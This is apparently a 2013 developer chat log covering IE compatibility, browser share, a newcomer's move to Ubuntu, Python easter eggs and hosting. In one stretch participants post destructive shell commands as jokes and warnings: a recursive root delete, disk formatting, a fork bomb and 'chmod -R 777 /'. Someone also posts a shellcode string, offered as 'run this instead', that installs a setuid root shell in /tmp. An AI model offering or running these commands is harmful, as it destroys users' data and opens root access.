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12:00 PM
Does anyone have some smart tricks for how to look for errors when IE tells you: expected identifier string or number and we're using Ext-js and everything loads dynamically? The weird thing is that IE tells us too look at row 96 when the file is 56 lines long...
 
@DanielFigueroa what about the rest of the stack trace?
 
@JanDvorak there is none, at least none that I can find, I'm not very proficient with the IE tools, however there is another error but that happens when trying to load another file, and that one complains about a variable not being set. All this is very strange, because it works perfectly fine in FF, not even a little complaint.
 
I'm pissed off at my code
Wrote 80 lines of python, all OOP style
refactored to 11 lines
 
@BenjaminGruenbaum thats a good thing isn't it?
 
wait what? are you getting payed for line count?
 
12:08 PM
@DanielFigueroa check for trailing commas
 
@JanDvorak yeah that's the line I've been thinking in also.
 
@DanielFigueroa what IE version? and IE's error-messages tend to be completely stupid
 
this makes sense
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i got this once
 
@GNi33 you do have a wonderfull line count
 
12:12 PM
yep
needless to say, the script had about 350 lines
 
@JanDvorak it happens in different IE versions, but for compatibilityreasons we've set the X-UA-compatible to IE=5, which is sad and horredous I know, but there wasn't much choice other than a complete rewrite...
 
IE5 ??
shit man, IE7 is already pretty well dead
most of us are pining for IE8 to go soon
 
@Darkyen no i'm not indian, just the first shitty image i found on google images )
 
@rlemon this won't happen for such a long time
 
Racist poo, now i've seen everything.
 
12:19 PM
i dont like the fact that microsoft does not care about giving windows xp users IE10
 
@GNi33 Like, if your company really forces you to support IE5 to 8 they are morons.
 
at least we got evidence now, that mostly IT departments of companies are the ones to blame for not caring to update anything -> digital.cabinetoffice.gov.uk/2013/03/11/…
 
@AmaanCheval 4 years of non-read facebook notifications
 
The overall browser usage for those versions is already so goddamn low and it's not going to increase ...
 
@OctavianDamiean IE5 + 6 -> agreed, IE7 ... depends on the website, but IE8 is still up strong
 
12:20 PM
@Darkyen You know you can just disable them, right?
 
@GNi33 Where?
 
corporate websites
 
I mean come on ... 24% is strong?
 
uhm... yea?
 
That's worldwide.
18% in Europe ... that's just laughable.
 
12:21 PM
http://betanews.com/2012/09/15/google-ends-internet-explorer-8-support-on-google-apps/ - google partially drops IE8 support.
MS in april 2014 will drop XP support, however because they're morons and win7 still ships with IE8 we'll have to support it until win7 is dead
 
24% worldwide, that's a fucking lot
 
which is going to be ~10 years?
 
18% is a fucking lot
but we got pages here with > 40% IE8-share
dammit, we even got a site that has got >25% IE7-share
 
@AmaanCheval disabled it afterwards
 
That makes me sad
 
12:22 PM
For us it is not enough to warrant the extra time investment in supporting that browser.
 
Problem is: most of the <ie8 users are in corporate environments and are locked into a subset of pages that were specifically designed to run in IE8 for their use.
So arguing there is still a large percentage of users is bullshit. What is Your percentage of users? if it's under 5% don't waste your time
 
well, you got it good then
@rlemon exactly
these browsers are going nowhere anytime soon
 
if it's over 10% then maybe MAYBE consider it
but don't spend 50% of your time supporting 10% of your users
thats silly.
 
@rlemon Less than 2% :D
 
@rlemon nothing would make me happier, except maybe icecream, than letting IE previous of v. 10 to just die, but our customers have some very strict standards that doesn't always make sense, not even from a security standpoint...
 
12:23 PM
I know we have one customer with that problem, it is not even his IT department's fault but Siemens' fault.
 
@DanielFigueroa people need the balls to disqualify customers
"Ohh what? you don't want to let me do my job with the expertise i've payed to learn and have been payed to offer? well then, fuck off and make your own IE5 copmatible site"
 
I've had to stand up to a manger before and tell them that the idea of doing X or supporting Y is bullshit and wrote up some pie charts
 
WTF?!?
 
Managers love pie charts
 
12:25 PM
@rlemon it's not like it's the major part of my job, and besides, our customers aren't exactly small companies.
 
if they're needed internal stuff like government or coperate shit then yea
if it's some joes blog or some eCommerce site. not worth it
 
@rlemon no wonder they love boobs
 
@donotusetabtodigitthisnick You're begging for getting suspended isn't it?
 
/// i think only you will get the perverted humour
 
@OctavianDamiean I just wait for him to be a dick then flag him
I think he's going for a suspension record.
 
12:27 PM
He did
But he deleted it
 
That's tough. The record is at one year and six months.
Was one of the Android room incident trolls.
 
@OctavianDamiean Whoa, really?
 
You guys are strict in there, though. Wonder how a troll got in :P
 
is that room still closed for public?
 
12:28 PM
I love how Warren (I think) denied requests for people who wouldn't type properly :p
 
@AmaanCheval i dont care :D
 
@AmaanCheval That was why I decided to close down the room.
 
@Darkyen About the Indian thing? Who does? :P
@OctavianDamiean Aaah
 
because some questions could be beginning to roll in on that topic from my side
on the other hand, Octavian knows I'm a troll... i'll never get in there ;_;
 
Meh, you're my favorite troll, you'll get in there for sure. :D
 
12:30 PM
yay! :D
 
Yo ma broll!
@AmaanCheval Yea, text speak and a general lack of English skills will get you rejected in the Android room. :D
There were legit reasons though. We had a couple of the Google rockstar engineers in there for a while but they got alienated by so called "developers" that were either asking them stuff in a language that's not even from this planet or permanently pinged by "gief meh teh codez" requests.
 
Aww, damn
 
Sadly the idea to close it down occurred to me way too late ...
 
I got into the android room before the Android room knew I was awesome
I was all like "Yo, give me access!" and they were all like, "Yes Lemon!"
 
:D
alias g='git'
Best thing since sliced bread.
 
12:40 PM
Lounge C++ guys put my message count to shame
and star count
wtf. does that room never work?
 
Didn't you tell them that we're coding in an awesome language which saves us enough time to be able to troll around in here.
 
no dude their room owners are all like 40K to 160K total messages just in that room
closest to me here is like 44K and iirc it's florian
I spent too long looking at the numbers after I found out I could see that info
 
Doesn't Raynos have the top message count?
ah yeah, you surpassed him
He's #2 with ~60k messages
 
Mother of god! 75.9k!? Really Robert?
 
12:45 PM
Wow
Haha, I only have 26k (with this message)
 
yea I'm kinda a machine
 
WOOOHOOOO! 43436 all time messages.
 
I am now on Ubuntu :-P @OctavianDamiean
 
@OliverSchöning Congrats!
 
12:47 PM
@OliverSchöning Don't you feel better now?
 
@rlemon You're like a James Brown album.
 
sudo rm -rf /*
 
Feels good man
 
@rlemon ಠ_ಠ
 
@OliverSchöning That's the first command you'll want to run ^
 
12:47 PM
lol
 
(Kidding, do not run that)
 
831 messages :D yay
 
@AmaanCheval ఠ_ఠ
 
no no never run that
 
ty @AmaanCheval and I wont hehe. what is it btw
 
12:48 PM
@OliverSchöning To force delete recursively on your root
 
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
 
So basically delete everything
 
Though, that kind of question is usually downvoted to oblivion, close/down voters are a little eccentric at times
 
^ run this instead
 
@OliverSchöning delete every file beginning at the root recursively.
 
12:48 PM
@rlemon You don't need the star, -r ensures recursion on the root folder
 
Oh, you tried to do a delete system on me ? :p
 
@Zirak eh
 
yay
C:\Users\jja>sudo rm -rf /*
Der Befehl "sudo" ist entweder falsch geschrieben oder
konnte nicht gefunden werden.
 
It's kind of like deleting System32 on Windows
 
12:49 PM
btw my wall is the hex equiv to rm -rf /
 
@Jan-StefanJanetzky Ignorance is bliss
 
@Jan-StefanJanetzky Hahaha
 
@OliverSchöning Best tip I can give you. Never run a command off the internet without checking exactly what it does.
 
sudo mkfs.ext3 /dev/sda
also deadly
 
12:49 PM
na. fun
 
@OliverSchöning Especially if it uses sudo
Or su
 
I got some graphic bugs though. Time for drivers I think
 
Did I tell you guys the story about this server, who's password was rm -rf /? I'm sure I did
 
@Zirak I haven't heard it
But nice!
 
echo 'trololol'  > /dev/sda
 
12:50 PM
I feel a bit claustrophobic with that bar on my left side
 
I kind of wonder why the mkfs.* don't at least prompt for confirmation when used on something that contains a partition table or another file system
 
@OliverSchöning Hit the Super key, type Software Sources and open it.
 
@rlemon: that's easy to fix though. it'll just mess up your partition table
 
@OliverSchöning actually saves screen space
 
@OliverSchöning You can get GNOME if you don't like Unity
 
12:51 PM
Nov 17 '11 at 21:35, by Zirak
My friend's server password was sudo rm -rf (as a joke). A bug in the telnet login caused the password to execute.
 
@AmaanCheval Alternatively you can also hide the launcher ...
 
@ThiefMaster yea i'm just posting all of the malicious linux commands, at least then he'll know which ones to avoid
 
@Zirak Holy shit!
@OctavianDamiean Yeah. I think I'm in the minority, though. Most people don't like Unity
 
:(){ :|:&};:
 
So much input.. Yeah I know gnome shell. For now I need to change those abysmall colors
 
12:51 PM
sudo mv /home/* /dev/null
 
@ThiefMaster Ooh, the fork bomb, I think?
 
yes
 
its also fun to have files like: 24e01.mp4 24e02.mp4 etc. in a folder
and do
 
...awkward pause...
 
@OliverSchöning When you're there, go to the Additional Drivers tab.
 
12:52 PM
cp 24e0{1,4,5}*
and incidently pressing return
 
wait.. how do I download chrome? internetz or software center?
 
@ThiefMaster I think they added some mechanism to make sure fork bombs like those don't work anymore in 3.8.x
 
chmod -R 777 /
 
@OliverSchöning Internetz, I think
After you download it, it'll add the repo to the software sources, and you'll have it in the Software Center
 
12:53 PM
@OliverSchöning iirc, Debian packages don't contain Chrome, but Chromium, so look for that.
With 99.9% certainty, there's a chrome package out there
 
does google not provide chrome as deb package?
 
yea
https://dl.google.com/linux/direct/google-chrome-stable_current_i386.deb
iirc
 
Debian packages share the GNU software philosophy, so no proprietary drivers. Chrome contains things like pepper (flash & pdf) which are proprietary.
 
64bit. feel the power!
 
12:54 PM
Chromium is the open source base for Chrome.
 
@rlemon From memory, huh? :P
 
@AmaanCheval from bookmarks
iirc means I didn't click it
might be dead
 
oh wait.. today i upgraded my chrome install
 
Yeah, thought so
 
ohh shit, yea don't use the 32 bit install
 
12:55 PM
@Zirak Yeah.. how much does google improve the chromium one? is it just ripping it off and painting it ? :p
 
rlemon has some crap hardware he tests on
 
@OliverSchöning A lot, performance wise.
Go with Google Chrome.
 
he sometimes needs to test on 32 bit OS
 
I will.
 
@OliverSchöning afaik Chrome is just Chromium with gloss and paint. But I'm just a plumber.
If you'll excuse me, I have a princess to save.
 
12:56 PM
Chrome vs Chromium is actually quite a noticeable difference.
 
V8 is google? so no v8 in chromium?
 
any arch linux users here?
v8 is v8
 
Chromium is from Google
 
Downloaded chrome. no exe installing right?
 
g'afternoon!
 
12:56 PM
:p
 
@Jan-StefanJanetzky Me!
 
Chromium is the FOSS version of Chrome
iirc
 
@OliverSchöning yeah, you should get acquainted with your package manager, apt and dpkg
 
@OliverSchöning No exes for you anymore! (Unless you use something like Wine or PlayOnLinux)
 
12:57 PM
however it was less stable ~1 year ago so I stopped using it
 
Whatever Google did with Chrome they improved its performance over Chromium, that's a fact. You can test it with JSPerf for instance.
 
I will use wine :p need my games:p
 
No no, wait.
 
@OliverSchöning best just dual boot for gaming
 
i'm fine with steams linux games
 
12:58 PM
Did you download a Chrome .exe install file?
 
you need the .deb files now
 
Nah, I wanna go full linux for a while :p
 
@OliverSchöning You should have kept Windows then
 
@Jan-StefanJanetzky You may be familiar with this: qdb.us/309106
 
you're on Ubuntu / .exe is now .deb (for installs)
 
12:58 PM
Gaming is the only reason I still have Windows
 
^^
and work
 
but I have a few OSs for work :/
and my linux / unix based OS's out number my windows machines 3:1
 
@Zirak last time i installed arch, i screwed it so far that i converted my mbr to gpt by accident
 
I still have a screenshot of arch telling me "Bailing out, you are on your own. Good luck." It's hilarious.
 
12:59 PM
awsum
 
@Jan-StefanJanetzky Hahaha, that sucks
 
share it or it didn't happen
 
i had luck. it only broke my 100 mb windows 7 boot partition
(its a company laptop so sometimes i still need to use win7)
 
Waiting 10 seconds for device /dev/sda5 ...
mount: mounting /dev/sda5 on /new_root failed: No such device
ERROR: Failed to mount the real root device.
Bailing out, you are on your own. Good luck.

sh: can't access tty; job control turned off
hehe Arch is funny
 
na. lovely.
if you get it running its like a damn beast that does all you want
 
1:02 PM
Like what?
 
also the aur is neat. some things should get fixed but the community is growing
look at the comments xD
 
@Darkyen thats so lame man
can't believe he ripped you off man
I saw that last night and was like oh cool @Darkyen pen is featured!
 
Yeah man
 
Then I saw the author was like wtf??
 
And he helped DDOS Loktar man
:P
 
1:03 PM
This is so much win.
 
hah yeah it doesnt actually hurt my bandwidth at all
but still
 
he will get F; for assignment ;-)
 
pretty lame the dude just copied everything directly.. didn't even fork
 
my hod ^_^
 
Does he maybe not understand codepen @Darkyen?
 
1:04 PM
Nope
in either case ... copy pasting code is bad
 
i dont like color prompts.
 
@Jan-StefanJanetzky i dont like Prompts
 
i you use putty or ssh you often see that issue that lines break long before they reach the end of the line
 
 
@Darkyen i dont like confirm eather
 
1:07 PM
@Jan-StefanJanetzky Well, I'm a real Linux user, so I don't have a problem with that.
 
I laughed my ass off when it happened
 
@Jan-StefanJanetzky: then you did not use \[ and \] to wrap zero-width characters
 
@ThiefMaster thats truly something i did not know yet!
 
@Zirak how the heck u did it!
 
@Zirak That's brilliant! :)
 
1:08 PM
HOW DO I GET IT I WANNA DO IT :D
 
bah.. raid reshape speed when down to 10M/s..
 
Best error message I ever had
 
8 mins ago, by rlemon
Waiting 10 seconds for device /dev/sda5 ...
mount: mounting /dev/sda5 on /new_root failed: No such device
ERROR: Failed to mount the real root device.
Bailing out, you are on your own. Good luck.

sh: can't access tty; job control turned off
 
sudo with USE=offensive (on gentoo) has some pretty nice error messages, too
]> sudo blah
Password:
Maybe if you used more than just two fingers...
Password:
The more you drive -- the dumber you get.
Password:
You speak an infinite deal of nothing
 
Hahahaha
 
1:10 PM
@OctavianDamiean Have you given zsh a shot?
 
@ThiefMaster Is gentoo properly alive again or still massive lack of maintainers?
 
i never noticed it not being alive ;o
 
@ThiefMaster lol
 
There're also some Python easter-eggs
 
@plodder Did you ever sleep?
from future import __brackets__
 
1:13 PM
@SomeKittens ye got myself 3 full hours
thanks :)
 
% python -c 'import antigravity'
 
@SomeKittens: from __future__ import braces
3
 
Or that. I don't claim to be a python master.
 
@Zirak not yet. I'm too happy with bash at the moment.
 
import this is also nice
 
1:14 PM
oh, there's also import this and import __hello__
 
I'm sure I'll find a reason to hate it at some point.
 
@OctavianDamiean I was content with bash too. And then I met zsh.
 
import antigravity
 
@SomeKittens LOL, wtf that actually works
 
1:16 PM
@SomeKittens Shaddap! That's awesome. :D
Yet another reason to love Python.
 
@BenjaminGruenbaum Once again probably same as JS. I personally do more documentation in JS, but only because of closure compiler
 
>>> from __future__ import barry_as_FLUFL
>>> 0 != 1
  File "<stdin>", line 1
    0 != 1
       ^
SyntaxError: invalid syntax
>>> 0 <> 1
True
 
eww
 
@BenjaminGruenbaum note that python has a beautiful, non-verbose, fast (unlike JS) assert, which you can also disable with a command line switch. I use that a lot
 
@ThiefMaster hahah, didn't know that one yet.
 
1:19 PM
@copy fast unlike JS?
 
I don't know what console.assert does, but it is really slow
 
@copy the node.js assert module is pretty fast
I don't test my code in the browser if I don't have to
 
Testing is for sissies ...
 
LOL
 
Be a man, deal with unhappy users.
:D
 
1:21 PM
I don't use assert for testing, I just throw it in the middle of the code
 
hmm
 
@OctavianDamiean The bot told you that
...or was it strict mode?
 
Could be, don't know. Does the bot have that line?
 
does NULL value in a row means zero memory is occupied ?
 
@Mhjr It just means that you're in the wrong room mate.
 
1:23 PM
where to go ?
 
To the Java lands.
 
In javascript? Perhaps. I wouldn't count or worry over it.
 
@Mhjr Or is your question really about JavaScript?
 
sounds more like SQL than java
 
> [NULL]
ReferenceError: NULL is not defined
 
1:25 PM
I don't know what exactly he's looking for but it doesn't really sound like JavaScript.
I mean you can do var a = null but I wouldn't know why you want that.
 
> new Buffer([0x00][0]).length
0
 
Anyone with experience with : cloudflare.com/plans
I hear only good things about it
 
oh yes, I wanted to ask as well: What hosting company/domain registrar do you guys use? Anyone with static sites? Maybe with this?
 
I registered with NameCheap
 
1:38 PM
@Zirak Ew, PHP.
 
But that doesn't look bad
 
+1 NameCheap
 
@dievardump Cloudflare is on DigitalOcean if I'm not mistaken. Gotta check that, However DigitalOcean is what the jsfiddle guys use and they have quite some trouble at times.
 
For hosting I was thinking of NodeJitsu
 
Wait, or were they competing?
 
1:39 PM
I'm making something static, so I wouldn't care if they used COBOL
 
I think they are competing, I must have got something mixed up.
 
posted on March 13, 2013

var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); try { var pageTracker = _gat._getTracker("UA-3727700-1"); pageTracker._trackPageview(); } catch(err) {} Whee!

 
However, Cloudflare is hosting cdnjs, which is cool. :)
 
@AmaanCheval They're pretty nice. One hiccup I've found is that you need to pay (a lot) extra for SSL
 
SSL is always way expensive because it needs a dedicated ip
 
1:47 PM
@dievardump i know a huge script kiddie site where you can buy botnets etc. etc. and they protect themself successfully with cloudflare
 
no it does not unless you need to support IE6. SNI to the rescue. or subject-alt-name if using the same certificate for all domains is fine
 
well fuck. I have hidden state.
 
@ThiefMaster you're saying i can run 2 EV certs on 1 ip?
 
SEN.encode('42')
""4242""
SEN.encode('42')
""4242""
SEN.encode('42')
"42"
SEN.encode('42')
""4242""
Why 3?
Is it cyclic?
 
Server Name Indication (SNI) is an extension to the SSL and TLS protocols that indicates what hostname the client is attempting to connect to at the start of the handshaking process. This allows a server to present multiple certificates on the same IP address and port number and hence allows multiple secure (HTTPS) websites to be served off the same IP address without requiring all those sites to use the same certificate. It is the conceptual equivalent to HTTP/1.1 virtual hosting for HTTPS. To make use of SNI practical, it is necessary that the vast majority of users use web browsers that...
ah bleh, IE on windows XP also doesn't support it.
 
1:50 PM
users of Internet Explorer 8 or below on Windows XP :(
that means i cant cut costs... YET :)
 
but an IP address is not that expensive anyway
 
That completely depends on where you need it
 
that's true. how much do you pay for them?
 
on my servers i pay something like USD 3-4/mo
 
@SomeKittens Ah. You using them for Dormless?
 
1:53 PM
ah, here it's 1€ per ip per month
 
on leaseweb / ovl? :P
thought they raised to EUR2
the problem i have is with cloudy stuff like softlayer and aws, where the ipv4 scarcity are felt
likely that there's no more real IE8-/XP users (ex China) before IPv6 is the standard
 
hetzner
 
i had a client 9 months ago who was building apps for the Chinese market... life really sucks if you have to test against IE6 .
 
@plodder Try having to update your legacy MFC application to work with a chinese database
Please kill me
 

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